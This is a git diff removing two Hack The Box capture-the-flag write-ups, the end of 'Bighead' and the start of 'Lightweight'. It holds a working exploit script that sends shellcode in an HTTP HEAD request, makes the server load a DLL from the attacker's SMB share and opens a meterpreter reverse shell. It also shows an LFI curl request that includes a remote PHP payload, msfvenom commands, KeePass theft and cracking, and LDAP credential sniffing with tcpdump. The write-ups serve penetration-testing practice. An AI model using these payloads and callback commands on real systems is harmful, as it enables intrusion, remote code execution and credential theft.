import * -import binascii - -r = remote("10.10.10.112", 80) - -load_lib = "" -load_lib += "\x80\x04\x28" # add ah, 28h -load_lib += "\x50" # push eax -load_lib += "\xBB\x58\x1B\x50\x62" # 62501B58 ebx -> LoadLibrary -load_lib += "\xFF\xD3" # call ebx - -smb = "\\\\10.10.14.23\\share\\x.dll" -load_lib = binascii.hexlify(load_lib) -smb = binascii.hexlify(smb) - -jmp_eax = "f2125062" -align_esp = "505C" # push eax, pop esp -buf = align_esp + load_lib + "90" * 24 + jmp_eax + smb -head = "HEAD /" + buf + " HTTP/1.1\r\n" -head += "Host: dev.bighead.htb\r\n" -head += "Connection: close\r\n" -head += "\r\n" -r.send(head) -r.close() -``` - -This makes the server download a .dll from my box and execute it. So I can generate a malicious DLL with msfvenom and have the server fetch it to give me a reverse shell: - -``` -# msfvenom -p windows/meterpreter/reverse_tcp -o x.dll -f dll LHOST=10.10.14.23 LPORT=4444 -[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 341 bytes -Final size of dll file: 5120 bytes -Saved as: x.dll -``` - -Because the server uses SMB to talk back to us, we'll start an SMB share with Impacket: - -``` -# /usr/share/doc/python-impacket/examples/smbserver.py share . -Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies - -[*] Config file parsed -[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 -[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 -[*] Config file parsed -[*] Config file parsed -[*] Config file parsed -``` - -Firing up the exploit... - -``` -# python smbexploit.py -191 -HEAD /505C042850bb581b5062ffd3909090909090909090909090909090909090909090909090f21250625c5c31302e31302e31342e32335c73686172655c782e646c6c HTTP/1.1 -Host: dev.bighead.htb -Connection: close -... -[*] Incoming connection (10.10.10.112,60888) -[*] AUTHENTICATE_MESSAGE (PIEDPIPER\Nelson,PIEDPIPER) -[*] User Nelson\PIEDPIPER authenticated successfully -[*] Nelson::PIEDPIPER:4141414141414141:e8e4ea60eb43ad439299c50c245654ca:010100000000000000f1a060fc85d4017e4c61f17754814500000000010010004f00650051004a00490073005600450002001000730047006b007400540068006f005600030010004f00650051004a00490073005600450004001000730047006b007400540068006f0056000700080000f1a060fc85d40106000400020000000800300030000000000000000000000000200000282e2960465001d017bb89eae52e3c9002f1edefda8c004fd0186e57fb9bd3eb000000000000000000000000 -[*] Disconnecting Share(1:IPC$) -... -msf exploit(multi/handler) > [*] Sending stage (179779 bytes) to 10.10.10.112 -[*] Meterpreter session 1 opened (10.10.14.23:4444 -> 10.10.10.112:60889) at 2018-11-26 21:53:32 -0500 - -msf exploit(multi/handler) > sessions 1 -[*] Starting interaction with 1... - -meterpreter > getuid -Server username: PIEDPIPER\Nelson -``` - -### Windows enumeration - -Now that I finally have a shell, I tried to get `user.txt` but this version is just a troll: - -``` -meterpreter > cat /users/nelson/desktop/user.txt - - .-''-. .-------. .---. .-./`) _______ .---. .---. - .'_ _ \ | _ _ \ | ,_| \ .-.') / __ \ | | |_ _| - / ( ` ) '| ( ' ) | ,-./ ) / `-' \ | ,_/ \__) | | ( ' ) -. (_ o _) ||(_ o _) / \ '_ '`) `-'`"`,-./ ) | '-(_{;}_) -| (_,_)___|| (_,_).' __ > (_) ) .---. \ '_ '`) | (_,_) -' \ .---.| |\ \ | |( . .-' | | > (_) ) __ | _ _--. | - \ `-' /| | \ `' / `-'`-'|___ | | ( . .-'_/ )|( ' ) | | - \ / | | \ / | \| | `-'`-' / (_{;}_)| | - `'-..-' ''-' `'-' `--------`'---' `._____.' '(_,_) '---' - .---. ,-----. ,---. ,---. .-''-. .-'''-. - | ,_| .' .-, '. | / | | .'_ _ \ / _ \ - ,-./ ) / ,-.| \ _ \ | | | .'/ ( ` ) ' (`' )/`--' - \ '_ '`) ; \ '_ / | :| | _ | |. (_ o _) |(_ o _). - > (_) ) | _`,/ \ _/ || _( )_ || (_,_)___| (_,_). '. - ( . .-' : ( '\_/ \ ;\ (_ o._) /' \ .---..---. \ : - `-'`-'|___\ `"/ \ ) / \ (_,_) / \ `-' /\ `-' | - | \'. \_/``".' \ / \ / \ / - `--------` '-----' `---` `'-..-' `-...-' - ,---------. .---. .---. .-''-. - \ \| | |_ _| .'_ _ \ - `--. ,---'| | ( ' ) / ( ` ) ' - | \ | '-(_{;}_). (_ o _) | - :_ _: | (_,_) | (_,_)___| - (_I_) | _ _--. | ' \ .---. - (_(=)_) |( ' ) | | \ `-' / - (_I_) (_{;}_)| | \ / - '---' '(_,_) '---' `'-..-' - .---. .---. ____ .-'''-. .---. .---. - .-, | | |_ _| .' __ `. / _ \| | |_ _| - ,-.| \ _ | | ( ' ) / ' \ \ (`' )/`--'| | ( ' ) - \ '_ / | | '-(_{;}_)|___| / |(_ o _). | '-(_{;}_) - _`,/ \ _/ | (_,_) _.-` | (_,_). '. | (_,_) - ( '\_/ \ | _ _--. | .' _ |.---. \ :| _ _--. | - `"/ \ ) |( ' ) | | | _( )_ |\ `-' ||( ' ) | | - \_/``" (_{;}_)| | \ (_ o _) / \ / (_{;}_)| | - '(_,_) '---' '.(_,_).' `-...-' '(_,_) '---' -``` - -Doing some enumeration next... - -System info: - -``` -meterpreter > getuid -Server username: PIEDPIPER\Nelson - -meterpreter > sysinfo -Computer : PIEDPIPER -OS : Windows 2008 (Build 6002, Service Pack 2). -Architecture : x86 -System Language : en_GB -Domain : DEVELOPMENT -Logged On Users : 5 -Meterpreter : x86/windows -``` - -Installed programs: - -Notice SSH is installed, 7-Zip and Keepass. - -``` -meterpreter > run post/windows/gather/enum_applications - -[*] Enumerating applications installed on PIEDPIPER - -Installed Applications -====================== - - Name Version - ---- ------- - 7-Zip 18.05 18.05 - Bitnami TestLink Module 1.9.17-0 - Bitvise SSH Server 7.44 (remove only) 7.44 - Hotfix for Microsoft .NET Framework 3.5 SP1 (KB953595) 1 - Hotfix for Microsoft .NET Framework 3.5 SP1 (KB958484) 1 - KeePass Password Safe 2.40 2.40 - Microsoft .NET Framework 3.5 SP1 3.5.30729 - Microsoft .NET Framework 4.5.2 4.5.51209 - Microsoft .NET Framework 4.5.2 4.5.51209 - Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 9.0.21022 - Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 9.0.30729.6161 - Mozilla Firefox 52.9.0 ESR (x86 en-GB) 52.9.0 - Notepad++ (32-bit x86) 7.5.9 - Oracle VM VirtualBox Guest Additions 5.2.12 5.2.12.0 - Python 2.7.15 2.7.15150 - Security Update for Microsoft .NET Framework 3.5 SP1 (KB2604111) 1 - Security Update for Microsoft .NET Framework 3.5 SP1 (KB2736416) 1 - Security Update for Microsoft .NET Framework 3.5 SP1 (KB2840629) 1 - Security Update for Microsoft .NET Framework 3.5 SP1 (KB2861697) 1 - Update for Microsoft .NET Framework 3.5 SP1 (KB963707) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4040977) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4096495) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4098976) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4338417) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4344149) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4457019) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4457038) 1 - Update for Microsoft .NET Framework 4.5.2 (KB4459945) 1 - VMware Tools 10.1.15.6677369 - XAMPP 5.6.36-0 -``` - -A local service is also listening on port 2020: - -``` -C:\nginx>netstat -an -netstat -an - -Active Connections - - Proto Local Address Foreign Address State - TCP 0.0.0.0:80 0.0.0.0:0 LISTENING - TCP 0.0.0.0:80 0.0.0.0:0 LISTENING - TCP 0.0.0.0:135 0.0.0.0:0 LISTENING - TCP 0.0.0.0:2020 0.0.0.0:0 LISTENING -``` - -To access it remotely we can use the `portfwd` command within meterpreter: - -``` -meterpreter > portfwd add -l 2020 -p 2020 -r 127.0.0.1 -[*] Local TCP relay created: :2020 <-> 127.0.0.1:2020 -``` - -It's some kind of SSH server: `Bitvise SSH Server (WinSSHD)` - -``` -# nc -nv 127.0.0.1 2020 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Connected to 127.0.0.1:2020. -SSH-2.0-7.44 FlowSsh: Bitvise SSH Server (WinSSHD) 7.44: free only for personal non-commercial use -``` - -I don't have the credentials so I looked for a while in the registry and eventually found a needle in the haystack. - -``` -meterpreter > search -f *nginx* -Found 14 results... - c:\nginx\nginx.exe (3115008 bytes) - c:\nginx\conf\nginx-orig.conf (2773 bytes) - c:\nginx\conf\nginx.conf (6608 bytes) - c:\nginx\conf\nginx.conf_bkp (4525 bytes) - c:\nginx\contrib\geo2nginx.pl (1272 bytes) - c:\nginx\contrib\unicode2nginx\unicode-to-nginx.pl (1090 bytes) - c:\nginx\contrib\vim\ftdetect\nginx.vim (198 bytes) - c:\nginx\contrib\vim\ftplugin\nginx.vim (29 bytes) - c:\nginx\contrib\vim\indent\nginx.vim (250 bytes) - c:\nginx\contrib\vim\syntax\nginx.vim (125645 bytes) - c:\nginx\logs\nginx.pid (6 bytes) - c:\ProgramData\Microsoft\User Account Pictures\nginx.dat - c:\Users\All Users\Microsoft\User Account Pictures\nginx.dat - c:\Windows\System32\nginx.reg (4268 bytes) -``` - -The `nginx.reg` stands out: - -``` -C:\users\nelson>type c:\Windows\System32\nginx.reg -type c:\Windows\System32\nginx.reg -Windows Registry Editor Version 5.00 - -[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx] -"Type"=dword:00000010 -"Start"=dword:00000002 -"ErrorControl"=dword:00000001 -"ImagePath"=hex(2):43,00,3a,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,\ - 20,00,46,00,69,00,6c,00,65,00,73,00,5c,00,6e,00,73,00,73,00,6d,00,5c,00,77,\ - 00,69,00,6e,00,33,00,32,00,5c,00,6e,00,73,00,73,00,6d,00,2e,00,65,00,78,00,\ - 65,00,00,00 -"DisplayName"="Nginx" -"ObjectName"=".\\nginx" -"Description"="Nginx web server and proxy." -"DelayedAutostart"=dword:00000000 -"FailureActionsOnNonCrashFailures"=dword:00000001 -"FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ - 00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00 -"Authenticate"=hex:48,00,37,00,33,00,42,00,70,00,55,00,59,00,32,00,55,00,71,00,39,00,55,00,2d,00,59,00,75,00,67,00,79,00,74,00,35,00,46,00,59,00,55,00,62,00,59,00,30,00,2d,00,55,00,38,00,37,00,74,00,38,00,37,00,00,00,00,00 -"PasswordHash"="336d72676e6333205361797a205472794861726465722e2e2e203b440a" - -[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters] -"Application"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6e,\ - 00,67,00,69,00,6e,00,78,00,2e,00,65,00,78,00,65,00,00,00 -"AppParameters"=hex(2):00,00 -"AppDirectory"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,00,00 -"AppStdin"=hex(2):73,00,74,00,61,00,72,00,74,00,20,00,6e,00,67,00,69,00,6e,00,\ - 78,00,00,00 -"AppStdout"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6c,00,\ - 6f,00,67,00,73,00,5c,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,2e,00,6f,\ - 00,75,00,74,00,2e,00,6c,00,6f,00,67,00,00,00 -"AppStderr"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6c,00,\ - 6f,00,67,00,73,00,5c,00,65,00,72,00,72,00,6f,00,72,00,2e,00,6c,00,6f,00,67,\ - 00,00,00 - -[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters\AppExit] -@="Restart" - -[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Enum] -"0"="Root\\LEGACY_NGINX\\0000" -"Count"=dword:00000001 -"NextInstance"=dword:00000001 -``` - -The `Authenticate` key contains: `48,00,37,00,33,00,42,00,70,00,55,00,59,00,32,00,55,00,71,00,39,00,55,00,2d,00,59,00,75,00,67,00,79,00,74,00,35,00,46,00,59,00,55,00,62,00,59,00,30,00,2d,00,55,00,38,00,37,00,74,00,38,00,37,00,00,00,00,00` - -I like using Cyberchef to decode and convert data, it's much faster to try different filters/conversion than coding it in python. - -![](/assets/images/htb-writeup-bighead/ssh_password.png) - -Password: `H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87` - -I can now SSH in with user `nginx` but I'm stuck in some sort of limited shell: -``` -# ssh -p 2020 nginx@127.0.0.1 -nginx@127.0.0.1's password: --> `H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87` - -bvshell:/$ whoami -whoami: Command not found. - -bvshell:/$ pwd -/ - -bvshell:/$ ls -anonymous apache apache_start.bat apache_stop.bat apps catalina_service.bat catalina_start.bat catalina_stop.bat cgi-bin -contrib ctlscript.bat FileZillaFTP filezilla_setup.bat filezilla_start.bat filezilla_stop.bat htdocs img install -licenses locale mailoutput mailtodisk MercuryMail mercury_start.bat mercury_stop.bat mysql mysql_start.bat -mysql_stop.bat nginx.exe passwords.txt perl php phpMyAdmin properties.ini readme_de.txt readme_en.txt -RELEASENOTES sendmail service.exe setup_xampp.bat src test_php.bat tmp tomcat uninstall.dat -uninstall.exe user.txt webalizer webdav xampp-control.exe xampp-control.ini xampp-control.log xampp_shell.bat xampp_start.exe -xampp_stop.exe -``` - -I checked out the Bitvise website for information on `bvshell` and saw that it's some kind of chroot jail: - -![](/assets/images/htb-writeup-bighead/bvshell.png) - -That would explain why the above directory listing of the root directory shows the content of xampp and not the root of the Windows server. - -There's a `user.txt` file in the directory but I can't seem to read it. -``` -bvshell:/$ cat user.txt --bvshell: Reading binary file as a text. -``` - -### Local File Include - -The Testlink application is located in `/apps/testlink/htdocs`. - -The `linkto.php` file contains an LFI, the important code is shown below: - -```php -// alpha 0.0.1 implementation of our new pipercoin authentication tech -// full API not done yet. just submit tokens with requests for now. -if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID']; //plugins/ppiper/pipercoin.php - $PiperCoinSess = base64_decode($PiperCoinAuth); - $PiperCoinAvitar = (string)$PiperCoinSess;} -[...] -require_once($PiperCoinAuth); -``` - -When I do a GET request on linkto.php, I get the following error message: - -``` -Fatal error: require_once(): Failed opening required '' (include_path='C:\xampp\php\PEAR;.;C:\xampp\apps\testlink\htdocs\lib\functions\;C:\xampp\apps\testlink\htdocs\lib\issuetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\codetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\reqmgrsystemintegration\;C:\xampp\apps\testlink\htdocs\third_party\') in C:\xampp\apps\testlink\htdocs\linkto.php on line 62 -``` - -The `linkto.php` has a `require_once($PiperCoinAuth)` command, and because `$PiperCoinAuth` is under direct control of users through the POST PiperCoinID parameter, we can include any arbitrary PHP file. - -I generated a PHP meterpreter payload. - -``` -# msfvenom -p php/meterpreter/reverse_tcp -o met.php LHOST=10.10.14.23 LPORT=4444 -[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload -[-] No arch selected, selecting arch: php from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 1112 bytes -Saved as: met.php -``` - -Then sent a POST request to execute PHP code through my SMB server - -``` -# curl -XPOST --data "PiperID=1&PiperCoinID=\\\\10.10.14.23\share\met.php" http://code.bighead.htb/testlink/linkto.php -``` - -Finally, I get a proper shell as SYSTEM on the target system - -``` -msf5 exploit(multi/handler) > [*] Encoded stage with php/base64 -[*] Sending encoded stage (51106 bytes) to 10.10.10.112 -[*] Meterpreter session 4 opened (10.10.14.23:4444 -> 10.10.10.112:49159) at 2019-05-02 21:06:18 -0400 - -msf5 exploit(multi/handler) > sessions 4 -[*] Starting interaction with 4... - -meterpreter > getuid -Server username: SYSTEM (0) -``` -Got user flag: -``` -meterpreter > cat /users/nginx/desktop/user.txt -5f158a... -``` - -### Getting root.txt from Keepass - -The `root.txt` is yet another troll: - -``` -meterpreter > cat /users/administrator/desktop/root.txt - - * * * - - Gilfoyle's Prayer - -___________________6666666___________________ -____________66666__________66666_____________ -_________6666___________________666__________ -_______666__6____________________6_666_______ -_____666_____66_______________666____66______ -____66_______66666_________66666______666____ -___66_________6___66_____66___66_______666___ -__66__________66____6666_____66_________666__ -_666___________66__666_66___66___________66__ -_66____________6666_______6666___________666_ -_66___________6666_________6666__________666_ -_66________666_________________666_______666_ -_66_____666______66_______66______666____666_ -_666__666666666666666666666666666666666__66__ -__66_______________6____66______________666__ -___66______________66___66_____________666___ -____66______________6__66_____________666____ -_______666___________666___________666_______ -_________6666_________6_________666__________ -____________66666_____6____66666_____________ -___________________6666666________________ - - Prayer for The Praise of Satan's Kingdom - - Praise, Hail Satan! - Glory be to Satan the Father of the Earth - and to Lucifer our guiding light - and to Belial who walks between worlds - and to Lilith the queen of the night - As it was in the void of the beginning - Is now, -and ever shall be, Satan's kingdom without End - - so it is done. - - * * * -``` - -When I started a shell my PHP meterpreter kept dropping so I used the `multi/manage/upload_exec` metasploit module to upload an .exe meterpreter and get another meterpreter session. This time I could spawn a shell without losing access. - -``` -msf5 post(multi/manage/upload_exec) > run - -[*] Uploading /root/htb/bighead/met.exe to met.exe -[*] Executing command: met.exe -[*] Encoded stage with x86/shikata_ga_nai -[*] Sending encoded stage (179808 bytes) to 10.10.10.112 - -[*] Meterpreter session 7 opened (10.10.14.23:5555 -> 10.10.10.112:49167) at 2019-05-02 21:19:51 -0400 - -meterpreter > shell -Process 3316 created. -Channel 1 created. -Microsoft Windows [Version 6.0.6002] -Copyright (c) 2006 Microsoft Corporation. All rights reserved. - -C:\xampp\apps\testlink\htdocs>whoami -whoami -nt authority\system -``` - -The administrator's `C:\Users\Administrator\AppData\Roaming\KeePass` directory contains a Keepass configuration file: `keepass.config.xml`. It contains the name of the last keyfile used : `admin.png` and the database file: `root.txt`. Notice that the file name is `root.txt:Zone.Identifier` and not just `root.txt` so this means we are looking at NTFS alternate data streams here. - -``` -[...] - -..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier -true -..\..\Users\Administrator\Pictures\admin.png - -[...] -``` - -We can check this by doing `dir /r` in the Desktop folder and we can see: - -``` -C:\Users\Administrator\Desktop>dir /ah -dir /ah - Volume in drive C has no label. - Volume Serial Number is 7882-4E78 - - Directory of C:\Users\Administrator\Desktop - -06/10/2018 14:33 1,519 root.txt - 1 File(s) 1,519 bytes - 0 Dir(s) 16,316,542,976 bytes free - -C:\Users\Administrator\Desktop>dir /r /ah -dir /r /ah - Volume in drive C has no label. - Volume Serial Number is 7882-4E78 - - Directory of C:\Users\Administrator\Desktop - -06/10/2018 14:33 1,519 root.txt - 7,294 root.txt:Zone.Identifier:$DATA - 1 File(s) 1,519 bytes - 0 Dir(s) 16,316,542,976 bytes free - -``` - -Because the box only has powershell version 2, I can't use the `-stream` flag to extract the ADS. But I found by pure luck that copying the file over SMB will automatically extract the data stream and create two files on my VM: - -``` -C:\Users\Administrator\Desktop>attrib -h root.txt - -C:\Users\Administrator\Desktop>copy root.txt \\10.10.14.23\share - 1 file(s) copied. - -[...] - --rwxr-xr-x 1 root root 1519 Dec 31 1969 root.txt --rwxr-xr-x 1 root root 7294 Oct 6 10:33 root.txt:Zone.Identifier -``` - -I also copied the keyfile `admin.png`, then renamed `root.txt:Zone.Identifier` file to a .kdbx extension: - -``` -C:\Users\Administrator\Desktop>copy ..\pictures\admin.png \\10.10.14.23\share -copy ..\pictures\admin.png \\10.10.14.23\share - 1 file(s) copied. -``` - -``` -# file root.kdbx -root.kdbx: Keepass password database 2.x KDBX -``` - -When I tried to use keepass2john it didn't work and just aborted without extracting the hash: - -``` -# keepass2john -k admin.png root.kdbx -admin.png -Aborted -``` - -Keepass uses the sha256 hash of the keyfile mixed with the password to produce the hash. In this case though the keyfile results in a hash that starts with a null byte so that seems to create a problem with keepass2john: - -``` -# sha256sum admin.png -0063c12d1bf2ac03fb677e1915d1e96e3ab2cb7e381a186e58e8a06c5a296f39 admin.png -``` - -The fix was to just upgrade John to the latest version and I was able to get the hash after: - -``` -# keepass2john -k admin.png root.kdbx -root:$keepass$*2*1*0*ea5626a6904620cad648168ef3f1968766f0b5f527c9a8028c1c1b03f2490449*cb3114b5089ffddbb3d607e490176e5e8da3022fc899fad5f317f1e4ebf4c268*a0b68d67dca93aee8f9804c28dac5995*afd02b46e630ff764adb50b7a2aae99d8961b1ab4676aff41c21dca19550c9ac*43c6588d17bceedbd00ed20d5ea310b82170252e29331671cc8aea3edd094ef6*1*64*0063c12d1bf2ac03fb677e1915d1e96e3ab2cb7e381a186e58e8a06c5a296f39 -``` - -Then it didn't take long to crack the password: `darkness` - -``` -# john -w=/usr/share/wordlists/rockyou.txt hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL]) -Cost 1 (iteration count) is 1 for all loaded hashes -Cost 2 (version) is 2 for all loaded hashes -Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -darkness (root) -1g 0:00:00:00 DONE (2019-05-02 21:35) 100.0g/s 73600p/s 73600c/s 73600C/s dreamer..raquel -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -I used `kpcli` to open the KeePass database and found the `root.txt` hash inside. - -``` -# kpcli --key admin.png --kdb root.kdbx -Please provide the master password: ************************* - -KeePass CLI (kpcli) v3.1 is ready for operation. -Type 'help' for a description of available commands. -Type 'help ' for details on individual commands. - -kpcli:/> ls -=== Groups === -chest/ -kpcli:/> ls chest -=== Groups === -hash/ -kpcli:/> ls chest/hash -=== Entries === -1. root.txt - -kpcli:/> show -f 0 - -Title: root.txt -Uname: Gilfoyle - Pass: 436b83... - URL: -Notes: HTB FTW! -``` \ No newline at end of file diff --git a/_posts/2019-05-11-htb-writeup-lightweight.md b/_posts/2019-05-11-htb-writeup-lightweight.md deleted file mode 100644 index 77f01b2e53..0000000000 --- a/_posts/2019-05-11-htb-writeup-lightweight.md +++ /dev/null @@ -1,344 +0,0 @@ ---- -layout: single -title: Lightweight - Hack The Box -excerpt: "Lightweight was a fun box that uses Linux capabilities set on tcpdump so we can capture packets on the loopback interface and find credentials in an LDAP session. We then find more credentials in the source code of the web application and finally priv esc to root by abusing a copy of the openssl program that all has Linux caps set on it." -date: 2019-05-11 -classes: wide -header: - teaser: /assets/images/htb-writeup-lightweight/lightweight_logo.png -categories: - - hackthebox - - infosec -tags: - - john - - ldap - - caps - - tcpdump - - password cracking ---- - -![](/assets/images/htb-writeup-lightweight/lightweight_logo.png) - -Lightweight was a fun box that uses Linux capabilities set on tcpdump so we can capture packets on the loopback interface and find credentials in an LDAP session. We then find more credentials in the source code of the web application and finally priv esc to root by abusing a copy of the openssl program that all has Linux caps set on it. - -## Summary - -- The main web page contains instructions on how to access the box by SSH (basically an account is automatically created based on the user's IP address) -- The `status.php` page does an LDAP query to the loopback interface, which can be intercepted since tcpdump is running with elevated caps -- The LDAP query contains the credentials for user `ldapuser2` -- User `ldapuser2` has access to the PHP source code for the web application, which has credentials for user `ldapuser1` -- There is an `openssl` binary in the home directory of `ldapuser1` with elevated caps that let us read/write any files on the system - -### Portscan - -We got SSH, Apache httpd and OpenLDAP runnning on this box. - -``` -root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.119 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-10 23:27 EST -Nmap scan report for 10.10.10.119 -Host is up (0.024s latency). -Not shown: 65532 filtered ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4 (protocol 2.0) -| ssh-hostkey: -| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA) -| 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA) -|_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519) -80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) -|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 -|_http-title: Lightweight slider evaluation page - slendr -389/tcp open ldap OpenLDAP 2.2.X - 2.3.X -| ssl-cert: Subject: commonName=lightweight.htb -| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain -| Not valid before: 2018-06-09T13:32:51 -|_Not valid after: 2019-06-09T13:32:51 -|_ssl-date: TLS randomness does not represent time -``` - -### Web page - -There's not much on the webpage except some instructions on how to login via SSH, how to reset the user password and a status check page. - -![](/assets/images/htb-writeup-lightweight/page1.png) - -![](/assets/images/htb-writeup-lightweight/page2.png) - -![](/assets/images/htb-writeup-lightweight/page3.png) - -One thing to note is the status page always take a long time to execute so there is probably some script running in the background. - -As per the instruction, we can log in with our IP as username / password: - -``` -# ssh -l 10.10.14.23 10.10.10.119 -10.10.14.23@10.10.10.119's password: -[10.10.14.23@lightweight ~]$ id -uid=1004(10.10.14.23) gid=1004(10.10.14.23) groups=1004(10.10.14.23) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 -``` - -### LDAP enum - -The LDAP server allows any user to search the directory and does not require authentication: - -``` -# ldapsearch -h 10.10.10.119 -b "dc=lightweight,dc=htb" -x - -# ldapuser1, People, lightweight.htb -dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb -uid: ldapuser1 -cn: ldapuser1 -sn: ldapuser1 -mail: ldapuser1@lightweight.htb -objectClass: person -objectClass: organizationalPerson -objectClass: inetOrgPerson -objectClass: posixAccount -objectClass: top -objectClass: shadowAccount -userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R - oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv -shadowLastChange: 17691 -shadowMin: 0 -shadowMax: 99999 -shadowWarning: 7 -loginShell: /bin/bash -uidNumber: 1000 -gidNumber: 1000 -homeDirectory: /home/ldapuser1 - -# ldapuser2, People, lightweight.htb -dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb -uid: ldapuser2 -cn: ldapuser2 -sn: ldapuser2 -mail: ldapuser2@lightweight.htb -objectClass: person -objectClass: organizationalPerson -objectClass: inetOrgPerson -objectClass: posixAccount -objectClass: top -objectClass: shadowAccount -userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms - zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x -shadowLastChange: 17691 -shadowMin: 0 -shadowMax: 99999 -shadowWarning: 7 -loginShell: /bin/bash -uidNumber: 1001 -gidNumber: 1001 -homeDirectory: /home/ldapuser2 -``` - -We can see two sets of credentials here. These are actually Base64 encoded versions of the Linux SHA512 hashes. - -First hash decodes to: `{crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/` - -None of the hashes could be cracked using `rockyou.txt`, so we have to get the password some other way. - -### Checking caps - -I checked the entire filesystem for any files running with elevated capabilities. Capabilities are used when a program need some kind of privilege that would normally require root access. With caps, we can give specific privileges to the binary without making the file suid or running it directly as root. - -``` -[10.10.14.23@lightweight ~]$ getcap -r / 2>/dev/null -/usr/bin/ping = cap_net_admin,cap_net_raw+p -/usr/sbin/mtr = cap_net_raw+ep -/usr/sbin/suexec = cap_setgid,cap_setuid+ep -/usr/sbin/arping = cap_net_raw+p -/usr/sbin/clockdiff = cap_net_raw+p -/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep -``` - -Here, `tcpdump` has some caps set to allow a regular user to capture traffic on any interface. - -As per [http://man7.org/linux/man-pages/man7/capabilities.7.html](http://man7.org/linux/man-pages/man7/capabilities.7.html), the exact description of the caps are: - -``` -CAP_NET_ADMIN - Perform various network-related operations: - * interface configuration; - * administration of IP firewall, masquerading, and accounting; - * modify routing tables; - * bind to any address for transparent proxying; - * set type-of-service (TOS) - * clear driver statistics; - * set promiscuous mode; - * enabling multicasting; - -CAP_NET_RAW - * Use RAW and PACKET sockets; - * bind to any address for transparent proxying. -``` - -### Capturing traffic - -There is an automated script on the box that connects locally to the LDAP server via the loopback interface. Because it's not using LDAPS, the credentials are in plaintext and I can capture them by sniffing the loopback interface. - - -``` -[10.10.14.23@lightweight ~]$ tcpdump -nni lo -w /tmp/capture.pcap -tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes -``` - -After grabbing the .pcap file via scp, we can see the following LDAP query using simple authentication with user `ldapuser2` - -![](/assets/images/htb-writeup-lightweight/ldap1.png) - -And we've got the password in plaintext here: - -![](/assets/images/htb-writeup-lightweight/ldap2.png) - -`ldapuser2` password is: `8bc8251332abe1d7f105d3e53ad39ac2` - -### Logging in as ldapuser2 and grabbing the user flag - -We can't SSH in as `ldapuser2` but we're able to `su` to `ldapuser2`. - -``` 